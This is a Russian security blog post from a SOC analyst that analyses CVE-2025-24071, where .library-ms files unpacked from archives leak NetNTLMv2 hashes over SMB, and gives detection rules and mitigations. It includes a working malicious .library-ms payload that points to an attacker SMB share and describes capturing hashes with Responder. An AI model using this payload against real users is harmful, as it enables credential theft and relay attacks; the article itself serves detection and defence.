Разбор CVE-2025-24071

Привет, Хабр! Меня зовут Илья Ефимов, я ведущий аналитик SOC компании BI.ZONE. В этой статье поговорим о нашумевшей CVE-2025-24071, которая позволяет атакующим получить NetNTLMv2-хеш-суммы паролей в результате некорректной обработки файлов .library-ms в Windows Explorer. Сама уязвимость уже эксплуатируется in-the-wild, о чем свидетельствуют данные, полученные от исследователей в области кибербезопасности. В своем небольшом исследовании я покажу, за счет чего происходит эксплуатация уязвимости, примеры событий, а также расскажу, как обнаружить такую активность.

Что такое .library-ms-файл

Начнем с того, что собой представляет файл .library-ms. Исходя из документации Microsoft, .library-ms-файлы — это XML-файлы, которые определяют библиотеки Windows (Windows Libraries) — специальные виртуальные коллекции папок и файлов, представленные в проводнике.

Файлы с расширением .library-ms — это XML-файлы, которые:

1. Хранят настройки библиотек Windows (например, «Документы», «Изображения», «Музыка»).

2. Содержат ссылки на расположения (папки, диски, сетевые ресурсы), объединенные в одну логическую группу.

3. Используют схему XML, описанную в Library Schema (MSDN), для определения структуры и свойств библиотеки.

4. Могут быть созданы или изменены пользователем для настройки библиотек под свои нужды. Основные теги в .library-ms-файле:

   • <library> — корневой элемент, содержит описание библиотеки.

   • <name> — отображаемое имя библиотеки.

   • <version> — версия схемы библиотеки.

   • <isLibraryPinned> — указывает, закреплена ли библиотека в панели навигации.

   • <iconReference> — путь к иконке библиотеки.

   • <templateInfo> — определяет тип контента (например, «Документы», «Музыка»).

   • <searchConnectorDescription> — содержит параметры поиска.

   • <simpleLocation>/<url> — пути к включенным папкам.

Последний параметр крайне важен, так как он позволяет указывать адреса удаленных ресурсов (например, С2-сервер злоумышленника).

Пример структуры .library-ms-файла:

<?xml version="1.0" encoding="UTF-8"?> <library xmlns="http://schemas.microsoft.com/windows/2009/library">   <name>My Documents</name>   <version>1.0</version>   <isLibraryPinned>true</isLibraryPinned>   <iconReference>imageres.dll,-1002</iconReference>   <templateInfo>     <folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>   </templateInfo>   <searchConnectorDescriptionList>     <searchConnectorDescription>       <isDefaultSaveLocation>true</isDefaultSaveLocation>       <isSupported>true</isSupported>       <simpleLocation>         <url>%USERPROFILE%\Documents</url>       </simpleLocation>     </searchConnectorDescription>   </searchConnectorDescriptionList> </library>

Суть уязвимости

На самом деле, еще два года назад в статье рассматривались атаки на пользователей с использованием .library-ms-файлов. Там было описано, как за счет указания управляющего сервера злоумышленника в <url>-теге файла можно осуществлять удаленное исполнение кода за счет взаимодействия с WebDAV-шарой атакующего.

18 марта 2025 года исследователь 0x6rss в своем блоге раскрыл детали уязвимости, где описал, что при распаковке файла из RAR-/ZIP-архива Windows Explorer из-за доверия к файлам .library-ms автоматически анализирует их. Если в теге <url> указана ссылка на SMB-шару атакующего, то происходит автоматическая попытка NTLM-аутентификации с вытекающей из этого кражей NetNTLMv2-хешей учетной записи жертвы. Как было замечено исследователями, уязвимость также эксплуатируется при обычном сохранении вложения письма в файловую систему. Также было выявлено, что аутентификация на удаленной SMB-шаре будет необходима при любой работе с файлом .library-ms, включая его создание, удаление или перемещение по диску.

Интересный момент: для одного и того же .library-ms-файла при повторной распаковке эксплуатации уязвимости не возникает. Вероятнее всего, это связано с тем, что Windows Explorer считывает содержимое только новых файлов, которые незнакомы системе.

Эксплуатация уязвимости

Для генерации файла воспользуемся PoC от исследователя 0x6rss.

В результате получаем ZIP-архив, в котором содержится файл .library-ms.

Пример содержимого такого файла. Прежде всего обращаем внимание на теги <url> и <simpleLocation>, где указывается наш сервер, принимающий попытки NTLM-аутентификации. Стоит отметить, что существование shared или любого другого файла на удаленном ресурсе необязательно, достаточно инициализировать исходящее SMB-подключение хоста:

<?xml version="1.0" encoding="UTF-8"?> <libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">   <searchConnectorDescriptionList>     <searchConnectorDescription>       <simpleLocation>         <url>\\10.3.132.57\shared</url>       </simpleLocation>     </searchConnectorDescription>   </searchConnectorDescriptionList> </libraryDescription>

На видео ниже воспроизведение активности — извлечение вредоносного файла из архива и попытка NetNTLMv2-аутентификации по протоколу SMB с управляющим сервером.

Как показано на видео, для эксплуатации уязвимости жертве достаточно распаковать архив с вредоносным файлом и система далее все сделает сама.

На скрине ниже можно увидеть результат работы Responder, где нам удалось получить хеш-сумму NetNTLMv2 учетной записи жертвы, которую впоследствии можно будет перебрать локально или использовать, к примеру, в Relay-атаках.

Генерируемые события

С помощью Procmon можно наблюдать, что Explorer.exe и службами индексации, такими как SearchProtocolHost.exe, сразу после извлечения файла .library-ms выполняются следующие операции автоматически:

• CreateFile — файл открывается Explorer.

• ReadFile — содержимое файла читается для извлечения метаданных.

• QueryBasicInformationFile — выполняются запросы метаданных.

• QueryStandardInformationFile — выполняются запросы стандартной информации о файле.

• CloseFile — файл закрывается после обработки.

Кроме того, SearchProtocolHost.exe вызывается в рамках службы индексации файлов Windows. После того как Explorer.exe завершает свою начальную обработку, служба индексации снова открывает и читает файл для индексации его содержимого. Это дополнительно подтверждает автоматическую обработку файлов при извлечении.

Далее, после обработки SearchProtocolHost.exe, можно увидеть начинающееся соединение с управляющим сервером.

Эти действия однозначно демонстрируют, что Windows автоматически обрабатывает файлы сразу после извлечения, без какого-либо явного взаимодействия пользователя. Как Explorer.exe, так и SearchProtocolHost.exe автоматически читают и обрабатывают XML-содержимое файла .library-ms, инициируя попытку подключения к встроенному SMB-пути.

Если говорить о событиях ОС Windows, которые генерируются в результате активности, то можно выделить следующие:

Обратите внимание! Ниже будут представлены правила, написанные на языке Lucene и использующие BI.ZONE Data Model.

1. При распаковке файла получаем событие создания файла с расширением .library-ms.

Здесь хочется отметить, что в поле proc_file_path проставляется исполняемый файл, в результате работы которого было распаковано содержимое архива. Так как в нашем случае это Windows Explorer, то можно прийти к выводу, что, если в системе жертвы нет ни одного архиватора, распаковать архив попытается процесс explorer.exe.

Правило, по которому можно детектировать подобную активность, выглядит следующим образом:

dev_os_type:"windows" AND event_type:(FileCreate OR FileCreateWin OR FileInfo OR FileInfoWin) AND file_name.keyword:/.*\.library-ms

2. При непосредственном взаимодействии с управляющим сервером после распаковки файла возникают события:

• создания процесса c:\windows\system32\rundll32.exe, который, в свою очередь, вызывает функцию DavSetCookie из библиотеки C:\Windows\system32\davclnt.dll. Документацию по функции найти не удалось, предположительно она используется для установки cookie для WebDAV-сессии. Отмечаем, что в аргументах данной функции принимается IP-адрес / доменное имя удаленного ресурса, а также полный путь с учетом директории;

  

• соединения (pipecreate) с именованным каналом \\.\pipe\dav rpc service с аналогичной командной строкой.

  

Правило, по которому можно детектировать подобную активность, выглядит следующим образом:

dev_os_type:"windows" AND (     (         event_type:(ProcessCreate OR ProcessCreateWin OR ProcessInfo OR ProcessInfoWin) AND         proc_file_path:"\\windows\\system32\\rundll32.exe" AND         cmdline:("\\Windows\\system32\\davclnt.dll,DavSetCookie")     ) OR     (         event_type:pipeconnect AND         proc_file_path:"\\windows\\system32\\rundll32.exe" AND         proc_cmdline:("\\Windows\\system32\\davclnt.dll,DavSetCookie") AND         pipe_path:"\\\\.\\pipe\\dav rpc service"     ) )

Вывод

В данной статье я продемонстрировал суть уязвимости CVE-2025-24071, процесс эксплуатации, генерируемые при активности события, а также предложения по детектированию. Хочу отметить, что, хотя, по версии Microsoft, уязвимость не будет популярна в публичной эксплуатации, она может быть крайне популярна в фишинговых кампаниях из-за широкой применимости в новейших ОС, а также из-за простоты эксплуатации.

Мониторинг описанной выше активности за счет предложенных правил детектирования позволит выявить попытки эксплуатации уязвимости. Другие рекомендации:

• Ограничить исходящие SMB-соединения с внешними серверами для предотвращения потенциальных атак.

• Как дополнительную меру также можно предложить добавить политику "Network security: Restrict NTLM: Outgoing NTLM traffic to remote servers" на значение Deny All (при необходимости можно добавить исключения).

• Обновить операционную систему Windows до последней версии, включая мартовские обновления, для устранения известных уязвимостей.

• Запретить запуск файлов с расширением .library-ms, так как они могут быть использованы для эксплуатации уязвимостей.

• Блокировать получение файлов с расширением .library-ms по электронной почте, чтобы предотвратить распространение вредоносных объектов.